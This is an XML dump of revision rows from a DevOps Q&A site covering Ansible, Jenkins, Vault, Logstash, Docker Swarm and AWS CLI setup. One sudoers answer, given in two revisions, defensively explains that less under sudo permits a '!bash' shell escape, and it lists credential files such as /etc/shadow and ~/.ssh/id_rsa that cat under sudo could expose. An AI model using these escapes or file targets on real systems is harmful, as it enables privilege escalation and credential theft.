  <row Id="14892" PostHistoryTypeId="2" PostId="4752" RevisionGUID="6144291d-8aac-48d1-b69b-bb75c87ea5ac" CreationDate="2018-08-12T15:40:13.683" UserId="8544" Text="Ansible is one example of a tool that that allows you to define all your configuration as scripts stored in your SCM and can deal with configuration drift.  Ansible has modules to work with Windows in multiple ways including DSC through run books.  Full information is available at:  https://docs.ansible.com/ansible/latest/user_guide/windows.html. &#xD;&#xA;&#xD;&#xA;For desired state configuration specifically - https://docs.ansible.com/ansible/latest/user_guide/windows_dsc.html#what-is-desired-state-configuration&#xD;&#xA;&#xD;&#xA;There is also additional information in writing scripts to insure the system stays in the desired state.  It is important to insure the way your writing the script does not in itself make differences in the system. - https://shadow-soft.com/ansible-idempotency-configuration-drift/ &#xD;&#xA;&#xD;&#xA;I know of many environments where the full system is defined and deployed with Ansible and it is used to remove any drift.  &#xD;&#xA;&#xD;&#xA;There are other ways to also help with the situation including using dynamic provisioning to shorten the life of systems.  Only keeping them up for the length of a test or other short time frame.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="14893" PostHistoryTypeId="2" PostId="4753" RevisionGUID="451261c9-1fa5-460a-af61-3231bb8a002d" CreationDate="2018-08-12T15:40:16.363" UserId="9207" Text="having &quot;ab&quot;used jenkins to be many things, the most sensible (IMHO) you can do is expose monitoring dashboards via build report page.&#xD;&#xA;I think you should not even put jenkins and monitoring under the same url, due to the &quot;who will guard the guard&quot; problem.&#xD;&#xA;&#xD;&#xA;Also, nowadays monitoring tools are too versatile and have too many &quot;faces&quot; (a face for each characteristic user, and some specific users prefer to have their own personal &quot;face&quot; to monitoring)&#xD;&#xA;About &quot;reporting&quot; I don't know what do you mean. if its reporting of builds statuses - READ ON.&#xD;&#xA;Also there are other things to let user go through (logs, alerts, test reports)&#xD;&#xA;&#xD;&#xA;So what I would suggest to address monitoring visibility is:&#xD;&#xA;&#xD;&#xA; 1. monitor your jenkins in your monitoring :) (builds, statuses, etc.)&#xD;&#xA; 2. define monitoring url inside jenkins (e.g. as Global Env Variable)&#xD;&#xA; 3. let's assume you have a job that deploys service `$svc` on environment `$env`. using Groovy you can generate:&#xD;&#xA;    1. generate a url to point at that monitoring service &quot;dashboard&quot; for that service in that env. let's call it `serviceMonitorUrl`&#xD;&#xA;    1. `environmentMonitorUrl`, and others&#xD;&#xA;    1. using `addSummary` and related stuff you can add to the build report a list of links to monitoring&#xD;&#xA;    1. you can decorate your build history column with &quot;labels&quot; pointing at branch, env, hash, whatever&#xD;&#xA;    1. your userdom will get build page with those links, and will be able to &quot;click&quot; them.&#xD;&#xA;   &#xD;&#xA;Having said that, there are jenkins pipelines visualizations you can also use to visualize jenkins jobs statuses, etc. e.g. this one:&#xD;&#xA;&#xD;&#xA;https://wiki.jenkins.io/display/JENKINS/Pipeline+Aggregator+View&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14894" PostHistoryTypeId="5" PostId="4753" RevisionGUID="d8f6c005-ae4d-49e2-8ce8-3eea7e435b3f" CreationDate="2018-08-12T15:45:54.970" UserId="9207" Comment="added 714 characters in body" Text="having &quot;ab&quot;used jenkins to be many things, the most sensible (IMHO) you can do is expose monitoring dashboards via build report page.&#xD;&#xA;I think you should not even put jenkins and monitoring under the same url, due to the &quot;who will guard the guard&quot; problem.&#xD;&#xA;&#xD;&#xA;Also, nowadays monitoring tools are too versatile and have too many &quot;faces&quot; (a face for each characteristic user, and some specific users prefer to have their own personal &quot;face&quot; to monitoring)&#xD;&#xA;About &quot;reporting&quot; I don't know what do you mean. if its reporting of builds statuses - READ ON.&#xD;&#xA;Also there are other things to let user go through (logs, alerts, test reports)&#xD;&#xA;&#xD;&#xA;So what I would suggest to address monitoring visibility is:&#xD;&#xA;&#xD;&#xA; 1. monitor your jenkins in your monitoring :) (builds, statuses, etc.)&#xD;&#xA; 2. define monitoring url inside jenkins (e.g. as Global Env Variable)&#xD;&#xA; 3. let's assume you have a job that deploys service `$svc` on environment `$env`. using Groovy you can generate:&#xD;&#xA;    1. generate a url to point at that monitoring service &quot;dashboard&quot; for that service in that env. let's call it `serviceMonitorUrl`&#xD;&#xA;    1. `environmentMonitorUrl`, and others&#xD;&#xA;    1. using `addSummary` and related stuff you can add to the build report a list of links to monitoring&#xD;&#xA;    1. you can decorate your build history column with &quot;labels&quot; pointing at branch, env, hash, whatever&#xD;&#xA;    1. your userdom will get build page with those links, and will be able to &quot;click&quot; them.&#xD;&#xA;   &#xD;&#xA;Having said that, there are jenkins pipelines visualizations you can also use to visualize jenkins jobs statuses, etc. e.g. this one:&#xD;&#xA;&#xD;&#xA;https://wiki.jenkins.io/display/JENKINS/Pipeline+Aggregator+View&#xD;&#xA;&#xD;&#xA;Generally:&#xD;&#xA;Jenkins is good for CI related scheduling.&#xD;&#xA;But the truth is - CI should not be the focal point of users.&#xD;&#xA;CI should be &quot;transparent&quot; until something is broken.&#xD;&#xA;Thus making users &quot;aware&quot; of jenkins (CI), and doing everything through it, unless business requirement is met by it (like company's product is being controlled/operated though jenkins) - you should not do this. This kind of &quot;knowledge&quot; is not really serving the users.&#xD;&#xA;They need to be able to see where to look for information easily, not be specific application's advanced users.&#xD;&#xA;&#xD;&#xA;Think what happens when you decide to migrate from jenkins to something else. you are hooked now.&#xD;&#xA;&#xD;&#xA;(it isn't necessarily bad, just be aware of it)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14895" PostHistoryTypeId="50" PostId="4489" RevisionGUID="d2802154-cb4d-4525-84c1-e76af2d3b8db" CreationDate="2018-08-12T16:01:04.420" UserId="-1" />
  <row Id="14896" PostHistoryTypeId="2" PostId="4754" RevisionGUID="93e6a9e1-2773-4f28-9e12-45530c2fadfc" CreationDate="2018-08-12T16:01:11.073" UserId="9207" Text="Jenkins is but a scheduler.&#xD;&#xA;It is oriented to respond to code changes, and do whatever you want.&#xD;&#xA;&#xD;&#xA;About IPMI, if you cannot follow @Tensibai's advice,&#xD;&#xA;I would suggest to wrap the operations at IPMI with something like ansible  (Depending on what you actually need to do there).&#xD;&#xA;&#xD;&#xA;Usually ipmi environment is used to TEST baremetal operations, in which case you have no other choice but use things like `ipmi_boot` or `ipmi_power` ansible modules, or actually write shell based ipmitool invocations to match incompatible hardware special saltos you need to do.&#xD;&#xA;Or even to use other &quot;older generatino&quot; things (chef, puppet, even cfengine etc.)&#xD;&#xA;&#xD;&#xA;You still may find some consolation in Foreman/Satellite to control BMs via ipmi using PXE boot, and all the other &quot;oldies&quot; technologies.&#xD;&#xA;&#xD;&#xA;All that of course, if you cannot actually wrap your BMs somehow to make them either k8s cluster with flexible slave-pods OR VMs, or something ... more &quot;up-to-date&quot; (Sometimes you can't I know).&#xD;&#xA;&#xD;&#xA;I believe if you don't have network/io constraints you should go with Kubernetes (a.k.a. k8s), and not with Docker.&#xD;&#xA;&#xD;&#xA;With both you can work with locally created images, but Kuberenets will allow you much more convenient housekeeping of containers, groups of containers, and even better - a &quot;service&quot;, &quot;operator&quot; and other cool entities.&#xD;&#xA;&#xD;&#xA;Besides you can version control your deployments with Helm charts and many many many other nice toys.&#xD;&#xA;&#xD;&#xA;Good luck!" ContentLicense="CC BY-SA 4.0" />
  <row Id="14897" PostHistoryTypeId="2" PostId="4755" RevisionGUID="835f55d4-8940-4e9b-9710-11bf9cd5d51c" CreationDate="2018-08-12T16:09:10.243" UserId="8544" Text="Instead of trying to watch, how about working together to define a scripted way of defining environments that is scm managed.  Having the configuration for deployment in the SCM insures they are always consistent and allows the collaboration and communication between team members about the ways they want to work.  &#xD;&#xA;&#xD;&#xA;There are many tools that can be used to script the configuration of the system level as well as the application level definitions.  Using this kind of definition based environment configuration not only helps with the development level, but then also helps with the deployment to later stages capabilities.  &#xD;&#xA;&#xD;&#xA;This would also facilitate the communication between team members a fundamental principle of DevOps.   " ContentLicense="CC BY-SA 4.0" />
  <row Id="14898" PostHistoryTypeId="2" PostId="4756" RevisionGUID="152d7ac5-0390-4bd3-9bfd-3c6438a3b193" CreationDate="2018-08-12T16:54:43.047" UserId="228" Text="**TL;DR:** KISS. Don't use less.&#xD;&#xA;&#xD;&#xA;People often make a mistake with ansible by trying to make variable things that don't need to be. Unless there are multiple places where you define the list of commands that support can access, it is perfectly acceptable to just put them in the template create file: &#xD;&#xA;&#xD;&#xA;**templates/etc/sudoers.d/support1** &#xD;&#xA;&#xD;&#xA;    Cmnd_Alias LS = /bin/ls&#xD;&#xA;    Cmnd_Alias LESS = /bin/cat&#xD;&#xA;    Cmnd_Alias DU = /usr/bin/du&#xD;&#xA;    &#xD;&#xA;    %support1 ALL=(ALL) NOPASSWD: LS, LESS, DU&#xD;&#xA;&#xD;&#xA;or even explicitly as you don't reuse the Cmnd_Alias anywhere&#xD;&#xA;&#xD;&#xA;    %support1 ALL=(ALL) NOPASSWD: /bin/ls&#xD;&#xA;    %support1 ALL=(ALL) NOPASSWD: /bin/cat&#xD;&#xA;    %support1 ALL=(ALL) NOPASSWD: /usr/bin/du&#xD;&#xA;&#xD;&#xA;And add some task like:&#xD;&#xA;&#xD;&#xA;    - name: add templates&#xD;&#xA;      template:&#xD;&#xA;        src: {{ item }}&#xD;&#xA;        dest: /{{ item }}&#xD;&#xA;        owner: root&#xD;&#xA;        group: root&#xD;&#xA;        mode: 0640&#xD;&#xA;      with_items:&#xD;&#xA;        - etc/sudoers.d/support1&#xD;&#xA;&#xD;&#xA;You would only use templates instead of files because late on there might be some variable to add to all those or the group name might come from variable if you get another role that creates the groups.&#xD;&#xA;&#xD;&#xA;**It is not safe to use /usr/bin/less**&#xD;&#xA;&#xD;&#xA;In all this you did not notice much important thing and that is the use of less as viewer. Sadly that is a security hole. You can type '!bash' for invoking bash. And by pressing 'v' you get into editor based on VISUAL, EDITOR or LESSEDIT variables. So you can give them '/bin/cat' and they can always pipe the content into less themselves. Note this is still a security hole as some files in unix are very intentionally restricted for example:&#xD;&#xA;&#xD;&#xA;    /etc/shadow&#xD;&#xA;    /etc/sudoers&#xD;&#xA;    /etc/ssh/ssh_host_rsa_key&#xD;&#xA;    $HOME/.ssh/id_rsa&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14899" PostHistoryTypeId="50" PostId="4502" RevisionGUID="bcefde7b-888e-4401-bd48-d25ed4b503f5" CreationDate="2018-08-12T17:01:31.787" UserId="-1" />
  <row Id="14903" PostHistoryTypeId="5" PostId="1095" RevisionGUID="6c076003-b023-44b9-ad88-9328259e2ff1" CreationDate="2018-08-12T19:05:03.997" UserId="40" Comment="added 42 characters in body" Text="In an ideal world our less tech-knowledgeable employees could just use a Slack command to run a job and get the results slacked back to them, negating the use of the Jenkins GUI. I found [Start a build in Jenkins using a Slack Command][1] on GitHub, but it's got a few limitations including that it seems to require a 1:1 ratio Heroku instance to Jenkins job, which isn't great for our purposes. &#xD;&#xA;&#xD;&#xA;My thought is to have people use a singular command like `/jenkins`, and use parameters after it that will be parsed by one job, and used to kick off others downstream. That keeps us to one slack command / one instance, but still gives us all the flexibility we need.&#xD;&#xA;&#xD;&#xA;The issue falls in getting the parameters to Jenkins. I'm picturing something like the following workflow;&#xD;&#xA;&#xD;&#xA;1. User types `/Jenkins job2 param1 param2` in Slack. This is calling an umbrella job that will parse the parameters to find out what to run. &#xD;&#xA;&#xD;&#xA;2. Command is somehow sent to the umbrella jenkins job. Heroku instance, direct integration, w/e.&#xD;&#xA;&#xD;&#xA;3. Umbrella job receives `job2 param1 param2` as a string. (Perhaps as the value of a single parameter, perhaps pre-split into multiple fields)&#xD;&#xA;&#xD;&#xA;4. Umbrella job splits the string if it hasn't already been done, and figures out that the user wants `job2` run, using parameters `param1` and `param2`. &#xD;&#xA;&#xD;&#xA;5. Umbrella job does a buildjob to run the downstream job as called, which will Slack back to the user their results. &#xD;&#xA;&#xD;&#xA;It's steps 2-3 that are tripping me up. **How can I pass a string (with spaces!) from Slack to my Jenkins job?**&#xD;&#xA;&#xD;&#xA;If my entire premise is wrong I'm also open to having my frame challenged.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/joshdholtz/jenkins-slack-command" ContentLicense="CC BY-SA 4.0" />
  <row Id="14904" PostHistoryTypeId="5" PostId="1088" RevisionGUID="4f85e7b2-5652-47f9-946d-0a13070dcf6f" CreationDate="2018-08-12T19:10:58.960" UserId="40" Comment="Integrate comments from OPer " Text="I'm setting up Vault to store secrets. SSH backend with OTP auth looks like a good way to stop managing SSH keys for access.&#xD;&#xA;&#xD;&#xA;I have SSH backend working, and am looking at hooking up Jenkins with the SSH-OTP auth so that I can remove the deployment keys too.&#xD;&#xA;&#xD;&#xA;I looked at Jenkins plugins for vault, but they only work for fetching secrets from Vault.&#xD;&#xA;&#xD;&#xA;Are there plugins or any Jenkins hacks for this purpose, or if not, is it possible to write one of my own?&#xD;&#xA;&#xD;&#xA;**Note**: Right now, Jenkins uses SSH keys. I want to eliminate the use of keys, and configure Jenkins to get an SSH OTP from Vault every time it needs to SSH into some host for a deploy." ContentLicense="CC BY-SA 4.0" />
  <row Id="14905" PostHistoryTypeId="5" PostId="4756" RevisionGUID="025e2108-b862-4d9b-95a3-da1c71b05ee6" CreationDate="2018-08-13T05:27:06.520" UserId="228" Comment="added 466 characters in body" Text="**TL;DR:** KISS. Don't use less.&#xD;&#xA;&#xD;&#xA;People often make a mistake with ansible by trying to make variable things that don't need to be. Unless there are multiple places where you define the list of commands that support can access, it is perfectly acceptable to just put them in the template create file: &#xD;&#xA;&#xD;&#xA;**templates/etc/sudoers.d/support1** &#xD;&#xA;&#xD;&#xA;    Cmnd_Alias LS = /bin/ls&#xD;&#xA;    Cmnd_Alias LESS = /bin/cat&#xD;&#xA;    Cmnd_Alias DU = /usr/bin/du&#xD;&#xA;    &#xD;&#xA;    %support1 ALL=(ALL) NOPASSWD: LS, LESS, DU&#xD;&#xA;&#xD;&#xA;or even explicitly as you don't reuse the Cmnd_Alias anywhere&#xD;&#xA;&#xD;&#xA;    %support1 ALL=(ALL) NOPASSWD: /bin/ls&#xD;&#xA;    %support1 ALL=(ALL) NOPASSWD: /bin/cat&#xD;&#xA;    %support1 ALL=(ALL) NOPASSWD: /usr/bin/du&#xD;&#xA;&#xD;&#xA;And add some task like:&#xD;&#xA;&#xD;&#xA;    - name: add templates&#xD;&#xA;      template:&#xD;&#xA;        src: {{ item }}&#xD;&#xA;        dest: /{{ item }}&#xD;&#xA;        owner: root&#xD;&#xA;        group: root&#xD;&#xA;        mode: 0640&#xD;&#xA;      with_items:&#xD;&#xA;        - etc/sudoers.d/support1&#xD;&#xA;&#xD;&#xA;You would only use templates instead of files because late on there might be some variable to add to all those or the group name might come from variable if you get another role that creates the groups.&#xD;&#xA;&#xD;&#xA;If you need to use variable, the thing you can do is to use a list of hashes like this:&#xD;&#xA;&#xD;&#xA;    sudoers.support1.commands:&#xD;&#xA;    - { alias: &quot;LS&quot;, path: &quot;/bin/ls&quot; }&#xD;&#xA;    - { alias: &quot;DU&quot;, path: &quot;/usr/bin/du&quot; }&#xD;&#xA;&#xD;&#xA;Then in the template:&#xD;&#xA;&#xD;&#xA;    {% for item in sudoers.{{ group }}.commands %}&#xD;&#xA;    Cmnd_Alias {{ item.alias }} = {{ item.path }}&#xD;&#xA;    {% endfor %}&#xD;&#xA;    %{{ group }} ALL=(ALL) NOPASSWD: {{ sudoers.{{ group }}.commands | map(attribute='alias') | join(', ') }}&#xD;&#xA;&#xD;&#xA;**It is not safe to use /usr/bin/less**&#xD;&#xA;&#xD;&#xA;In all this you did not notice much important thing and that is the use of less as viewer. Sadly that is a security hole. You can type '!bash' for invoking bash. And by pressing 'v' you get into editor based on VISUAL, EDITOR or LESSEDIT variables. So you can give them '/bin/cat' and they can always pipe the content into less themselves. Note this is still a security hole as some files in unix are very intentionally restricted for example:&#xD;&#xA;&#xD;&#xA;    /etc/shadow&#xD;&#xA;    /etc/sudoers&#xD;&#xA;    /etc/ssh/ssh_host_rsa_key&#xD;&#xA;    $HOME/.ssh/id_rsa&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14906" PostHistoryTypeId="5" PostId="4717" RevisionGUID="6adc996f-0934-41b3-b647-5143b26a2bba" CreationDate="2018-08-13T05:44:38.007" UserId="739" Comment="copy editing" Text="`buildEnv.inside(&quot;-u 0&quot;) {}` resolved my problem. But then the workspace will contains directory and files owned by root which can not be deleted by the user Jenkins at the next run when cleaning the workpace , so I have added  `sh &quot;sudo chown jenkins: -R \$PWD/&quot;`  at the beginning of the pipeline.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14907" PostHistoryTypeId="24" PostId="4717" RevisionGUID="6adc996f-0934-41b3-b647-5143b26a2bba" CreationDate="2018-08-13T05:44:38.007" Comment="Proposed by 739 approved by 47, 40 edit id of 751" ContentLicense="CC BY-SA 4.0" />
  <row Id="14908" PostHistoryTypeId="5" PostId="4713" RevisionGUID="5f69b48e-8fd8-4807-aff6-97d6fed731dc" CreationDate="2018-08-13T05:45:08.297" UserId="739" Comment="formatting" Text="I used this post to get our Guard Duty alerts working, thanks!  But a recent change at AWS caused us to stop getting any alerts.  Turns out we needed to add the integer values along with floating point numbers. We used a CLI command like the following to do that:&#xD;&#xA;&#xD;&#xA;` aws events put-rule --name Test --event-pattern &quot;{\&quot;source\&quot;:[\&quot;aws.guardduty\&quot;],\&quot;detail-type\&quot;:[\&quot;GuardDuty Finding\&quot;],\&quot;detail\&quot;:{\&quot;severity\&quot;:[7.0,7.1,7.2,7.3,7.4,7.5,7.6,7.7,7.8,7.9,8.0,8.1,8.2,8.3,8.4,8.5,8.6,8.7,8.8,8.9,7,8]}}&quot;`&#xD;&#xA;&#xD;&#xA;Note the &quot;`7`&quot; and &quot;`8`&quot; at the end.  Alerts are working again." ContentLicense="CC BY-SA 4.0" />
  <row Id="14909" PostHistoryTypeId="24" PostId="4713" RevisionGUID="5f69b48e-8fd8-4807-aff6-97d6fed731dc" CreationDate="2018-08-13T05:45:08.297" Comment="Proposed by 739 approved by 47, 40 edit id of 752" ContentLicense="CC BY-SA 4.0" />
  <row Id="14910" PostHistoryTypeId="6" PostId="2721" RevisionGUID="62324185-b3cb-44c3-92e4-24c199fe1ffe" CreationDate="2018-08-13T06:25:04.323" UserId="9224" Comment="another tag to make it easier to be discovered" Text="&lt;culture&gt;&lt;business&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14911" PostHistoryTypeId="24" PostId="2721" RevisionGUID="62324185-b3cb-44c3-92e4-24c199fe1ffe" CreationDate="2018-08-13T06:25:04.323" Comment="Proposed by 9224 approved by 47, 228 edit id of 750" ContentLicense="CC BY-SA 4.0" />
  <row Id="14912" PostHistoryTypeId="2" PostId="4757" RevisionGUID="0aea2cbe-a806-407f-8896-0ac35febc957" CreationDate="2018-08-13T10:02:16.063" UserId="9238" Text="your token is wrong.&#xD;&#xA;&#xD;&#xA;you can get worker token in the manager node:&#xD;&#xA;&#xD;&#xA;    docker swarm join-token -q worker&#xD;&#xA;&#xD;&#xA;it works for me.&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/engine/reference/commandline/swarm_join/&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14913" PostHistoryTypeId="5" PostId="1080" RevisionGUID="9b42d03e-b936-41d0-9cce-569930d36fec" CreationDate="2018-08-13T12:48:49.140" UserId="40" Comment="Integrate comments from OPer " Text="I am a newbie in the world of DevOps and have been assigned a task to implement web applications for the customers in AWS and that application monitored (security, metrics and logging) using any of the open source tools. I dabbled with Nagios a little and have gone through the AWS course on security and networking before.&#xD;&#xA;&#xD;&#xA;Has anyone done a similar kind of project before? Could anyone share their approach so that it will help me prepare a design document?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14914" PostHistoryTypeId="2" PostId="4758" RevisionGUID="314291b0-0ec4-42be-a2f8-fa309e839046" CreationDate="2018-08-13T17:54:44.167" UserId="4328" Text="I have a Jenkins declarative pipeline that is ran via a webhook from GitLab whenever a change is pushed to my repo. In Jenkins, I have the following trigger option selected:&#xD;&#xA;&#xD;&#xA;[![GitLab Push Trigger][1]][1]&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/sKc54.png&#xD;&#xA;&#xD;&#xA;Is there a way for me to add this trigger to my Jenkins declarative pipeline, if so how? " ContentLicense="CC BY-SA 4.0" />
  <row Id="14915" PostHistoryTypeId="1" PostId="4758" RevisionGUID="314291b0-0ec4-42be-a2f8-fa309e839046" CreationDate="2018-08-13T17:54:44.167" UserId="4328" Text="Jenkins Pipeline &quot;Build when a change is pushed to GitLab&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14916" PostHistoryTypeId="3" PostId="4758" RevisionGUID="314291b0-0ec4-42be-a2f8-fa309e839046" CreationDate="2018-08-13T17:54:44.167" UserId="4328" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14917" PostHistoryTypeId="50" PostId="2341" RevisionGUID="471f731a-c8a4-4f96-b274-e1bf05cd573c" CreationDate="2018-08-13T20:01:48.037" UserId="-1" />
  <row Id="14922" PostHistoryTypeId="2" PostId="4760" RevisionGUID="c8c58456-25de-498c-a84a-0cb3a555eba8" CreationDate="2018-08-14T06:18:15.577" UserId="8463" Text="Was going through targeting minions in salt. There I came across a term called **glob**. Can someone explain with an example what is a **glob** in Salt-Stack." ContentLicense="CC BY-SA 4.0" />
  <row Id="14923" PostHistoryTypeId="1" PostId="4760" RevisionGUID="c8c58456-25de-498c-a84a-0cb3a555eba8" CreationDate="2018-08-14T06:18:15.577" UserId="8463" Text="What is a glob in salt-stack?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14924" PostHistoryTypeId="3" PostId="4760" RevisionGUID="c8c58456-25de-498c-a84a-0cb3a555eba8" CreationDate="2018-08-14T06:18:15.577" UserId="8463" Text="&lt;continuous-integration&gt;&lt;deployment&gt;&lt;terminology&gt;&lt;configuration-management&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14925" PostHistoryTypeId="50" PostId="3883" RevisionGUID="2fb60e0b-a2d9-4db7-9f97-b9a398fe6b18" CreationDate="2018-08-14T11:02:05.473" UserId="-1" />
  <row Id="14926" PostHistoryTypeId="2" PostId="4761" RevisionGUID="dd15e2ce-fa10-402a-b94f-cdf02a5e24a5" CreationDate="2018-08-14T12:39:38.193" UserId="9077" Text="Globbing is a term used for matching file name patterns with wild cards.  You can see a more detailed definition here [https://searchsecurity.techtarget.com/definition/globbing][1]&#xD;&#xA;&#xD;&#xA;As it relates to Salt Stack, it's finding the minion id using wild cards.  Additional details here: [https://docs.saltstack.com/en/latest/topics/targeting/globbing.html][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://searchsecurity.techtarget.com/definition/globbing&#xD;&#xA;  [2]: https://docs.saltstack.com/en/latest/topics/targeting/globbing.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="14927" PostHistoryTypeId="2" PostId="4762" RevisionGUID="5d6311b1-f865-4c2f-99da-4492fdd456f0" CreationDate="2018-08-14T12:59:59.787" UserId="8983" Text="There are two ways to accomplish this, though one of them was only available recently.&#xD;&#xA;&#xD;&#xA;The old-school version, the one you can do as far back as Logstash 1.5, is to pay attention to tags and use conditionals to separate your inputs. Roughly...&#xD;&#xA;&#xD;&#xA;    input {&#xD;&#xA;      tcp {&#xD;&#xA;        port =&gt; 1525&#xD;&#xA;        codec =&gt; json_lines&#xD;&#xA;        tags =&gt; [ 'tcp' ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    input {&#xD;&#xA;      file {&#xD;&#xA;        path =&gt; '/var/log/app.log'&#xD;&#xA;        codec =&gt; 'json'&#xD;&#xA;        tags =&gt; [ 'file' ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    output {&#xD;&#xA;      if 'file' in [tags] {&#xD;&#xA;        elasticsearch {&#xD;&#xA;          host =&gt; 'logstash-es'&#xD;&#xA;          index =&gt; 'files'&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      if 'tcp' in [tags] {&#xD;&#xA;        elasticsearch {&#xD;&#xA;          host =&gt; 'logstash-es'&#xD;&#xA;          index =&gt; 'tcp'&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This results in two inputs that output to two separate outputs. This is all one file, though. Elastic figured out people were muxing pipelines this way, and came up with [a way to do multiple pipelines in separate files](https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html).&#xD;&#xA;&#xD;&#xA;    - pipeline.id: tcp-inputs&#xD;&#xA;      path.config: '/etc/logstash/pipelines/tcp.cfg'&#xD;&#xA;      pipeline.workers: 3&#xD;&#xA;    - pipeline.id: file-inputs&#xD;&#xA;      path.config: '/etc/logstash/pipelines/files.cfg'&#xD;&#xA;      pipeline.workers: 2&#xD;&#xA;&#xD;&#xA;This approach is somewhat more maintainable since the pipelines are in separate files, and humans don't have to reason out how the flows work when presented in a single big file. Pipelines are available in Logstash 6.0 and newer." ContentLicense="CC BY-SA 4.0" />
  <row Id="14928" PostHistoryTypeId="5" PostId="1130" RevisionGUID="4ab9a68a-60ab-4e91-95fd-c1be40421bad" CreationDate="2018-08-14T13:34:24.823" UserId="40" Comment="Integrate comments from OPer " Text="I'm trying to understand how I would set up a Docker container (running in Swarm mode) with publicly available IPv6.&#xD;&#xA;&#xD;&#xA;I know Docker Swarm uses mesh routing, but I don't quite understand how I can dynamically assign DNS names to addresses.&#xD;&#xA;&#xD;&#xA;As an example, let's say I want to run a Git server (with HTTP 80 443 and SSH 22) on `git.example.com` and a regular web server at `example.com` (with HTTP 80 443). Both have public IPv6 addresses, but I don't want to hard-code the IPv6 address (for example at CloudFlare). After all, this is DevOps!&#xD;&#xA;&#xD;&#xA;How would I go about doing this? I assume I need to run my own DNS server for this.&#xD;&#xA;&#xD;&#xA;**Note**: After doing some more research, it seems this is possible with the [Docker HTTP Routing Mesh (HRM)][1] which is unfortunately only part of the Enterprise Edition. Does anyone know a similar, open-source approach to this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/datacenter/ucp/2.1/guides/admin/configure/use-domain-names-to-access-services/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14929" PostHistoryTypeId="2" PostId="4763" RevisionGUID="692df871-edc8-4f98-9234-f87c8568bd97" CreationDate="2018-08-14T13:48:32.877" UserDisplayName="user8517" Text="I am working on setting up something with S3 and Chef, I have AWS CLI installed and working but I need to figure out how to specify the `access ID` and the `secret access key`. I know there are cookbooks out there for this but I have tried a few with no luck so I am not using anyone else's cookbooks for this project anymore. &#xD;&#xA;&#xD;&#xA;Suggestions on how I can run `aws configure` and then output the correct value for each of the 4 things it asks?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14930" PostHistoryTypeId="1" PostId="4763" RevisionGUID="692df871-edc8-4f98-9234-f87c8568bd97" CreationDate="2018-08-14T13:48:32.877" UserDisplayName="user8517" Text="Configure AWS cli inside chef cookbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="14931" PostHistoryTypeId="3" PostId="4763" RevisionGUID="692df871-edc8-4f98-9234-f87c8568bd97" CreationDate="2018-08-14T13:48:32.877" UserDisplayName="user8517" Text="&lt;amazon-web-services&gt;&lt;chef&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14932" PostHistoryTypeId="2" PostId="4764" RevisionGUID="5618f744-1007-45a9-a5eb-9e83acf59fcb" CreationDate="2018-08-14T15:08:31.783" UserId="4328" Text="Have you tried setting the AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY [environment variables][1]? By setting these variables **before** you run your cli commands, you should have to run the `aws configure` command. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **Environment Variables** &#xD;&#xA;&gt;&#xD;&#xA;&gt; Environment variables override configuration and&#xD;&#xA;&gt; credential files and can be useful for scripting or temporarily&#xD;&#xA;&gt; setting a named profile as the default.&#xD;&#xA;&gt; The AWS CLI supports the following environment variables.&#xD;&#xA;&gt; &#xD;&#xA;&gt; *AWS_ACCESS_KEY_ID* – AWS access key.&#xD;&#xA;&gt; &#xD;&#xA;&gt; *AWS_SECRET_ACCESS_KEY* – AWS secret key. Access and secret key&#xD;&#xA;&gt; variables override credentials stored in credential and config files.&#xD;&#xA;&gt; &#xD;&#xA;&gt; *AWS_SESSION_TOKEN* – Specify a session token if you are using temporary&#xD;&#xA;&gt; security credentials.&#xD;&#xA;&gt; &#xD;&#xA;&gt; *AWS_DEFAULT_REGION* – AWS region. This variable overrides the default&#xD;&#xA;&gt; region of the in-use profile, if set.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ....&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;[1]: https://docs.aws.amazon.com/cli/latest/userguide/cli-environment.html" ContentLicense="CC BY-SA 4.0" />
